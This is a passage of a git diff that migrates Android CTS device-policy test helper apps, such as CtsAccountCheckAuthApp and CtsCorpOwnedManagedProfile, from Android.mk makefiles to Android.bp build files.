+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAccountCheckAuthApp",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "androidx.test.rules",
+    ],
+    libs: ["android.test.base.stubs"],
+    sdk_version: "test_current",
+    min_sdk_version: "25",
+}
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
deleted file mode 100644
index b223b37..0000000
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsAccountCheckAuthApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.legacy_legacy-support-v4  \
-    ctstestrunner-axt  \
-    ub-uiautomator  \
-    androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
deleted file mode 100644
index 00658e1..0000000
--- a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsAccountCheckNonTestOnlyOwnerApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src-owner)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner-axt ub-uiautomator androidx.test.rules
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
deleted file mode 100644
index 0cc8deb..0000000
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsAccountCheckTestOnlyOwnerApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src-owner)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner-axt ub-uiautomator androidx.test.rules
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
deleted file mode 100644
index fd40498..0000000
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsAccountCheckTestOnlyOwnerUpdateApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src-owner)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner-axt ub-uiautomator androidx.test.rules
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
new file mode 100644
index 0000000..7ac443c
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAccountCheckAuthAppTester",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "androidx.test.rules",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "25",
+}
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
deleted file mode 100644
index a84b5bc..0000000
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsAccountCheckAuthAppTester
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner-axt ub-uiautomator androidx.test.rules
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
new file mode 100644
index 0000000..d5c59dd
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAccountManagementDevicePolicyApp",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "androidx.test.rules",
+    ],
+    libs: ["android.test.base.stubs"],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
deleted file mode 100644
index 2ce6c5d..0000000
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsAccountManagementDevicePolicyApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.legacy_legacy-support-v4 \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
new file mode 100644
index 0000000..b756842
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAppRestrictionsTargetApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    min_sdk_version: "24",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
deleted file mode 100644
index 78795cf..0000000
--- a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAppRestrictionsTargetApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.bp b/hostsidetests/devicepolicy/app/Assistant/Android.bp
new file mode 100644
index 0000000..91a7b79
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/Assistant/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDevicePolicyAssistApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.mk b/hostsidetests/devicepolicy/app/Assistant/Android.mk
deleted file mode 100644
index 6b16d40..0000000
--- a/hostsidetests/devicepolicy/app/Assistant/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsDevicePolicyAssistApp
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.legacy_legacy-support-v4 \
-    compatibility-device-util-axt \
-    androidx.test.rules \
-
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/Android.bp b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
new file mode 100644
index 0000000..acf343b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDevicePolicyAutofillApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/Android.mk b/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
deleted file mode 100644
index 80a8b60..0000000
--- a/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsDevicePolicyAutofillApp
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/Android.bp b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
new file mode 100644
index 0000000..2a4e524
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsCertInstallerApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: ["android.test.runner.stubs"],
+    sdk_version: "current",
+    min_sdk_version: "22",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/Android.mk b/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
deleted file mode 100644
index 86440fc..0000000
--- a/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsCertInstallerApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
new file mode 100644
index 0000000..9387f0e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsContactDirectoryProvider",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
deleted file mode 100644
index eec2e12..0000000
--- a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsContactDirectoryProvider
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
new file mode 100644
index 0000000..5673db0
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
@@ -0,0 +1,82 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// IMPORTANT: We build two apps from the same source but with different package name.
+// This allow us to have different device owner and profile owner, some APIs may behave differently
+// in this situation.
+
+// === App 1 ===
+
+android_test_helper_app {
+    name: "CtsCorpOwnedManagedProfile",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/I*.aidl",
+    ],
+    aidl: {
+        local_include_dirs: ["src"],
+    },
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+// === App 2 ===
+android_test_helper_app {
+    name: "CtsCorpOwnedManagedProfile2",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/I*.aidl",
+    ],
+    aidl: {
+        local_include_dirs: ["src"],
+    },
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--rename-manifest-package",
+        "com.android.cts.comp2",
+        "--rename-instrumentation-target-package",
+        "com.android.cts.comp2",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
deleted file mode 100644
index c2fdb5f..0000000
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
+++ /dev/null
@@ -1,71 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# IMPORTANT: We build two apps from the same source but with different package name.
-# This allow us to have different device owner and profile owner, some APIs may behave differently
-# in this situation.
-
-# === App 1 ===
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsCorpOwnedManagedProfile
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-                   $(call all-Iaidl-files-under, src)
-
-LOCAL_AIDL_INCLUDES := $(LOCAL_PATH)/src
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-
-# === App 2 ===
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsCorpOwnedManagedProfile2
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-                   $(call all-Iaidl-files-under, src)
-
-LOCAL_AIDL_INCLUDES := $(LOCAL_PATH)/src
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_AAPT_FLAGS += --rename-manifest-package com.android.cts.comp2 \
-                    --rename-instrumentation-target-package com.android.cts.comp2
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.bp
new file mode 100644
index 0000000..0a6d58f
--- /dev/null
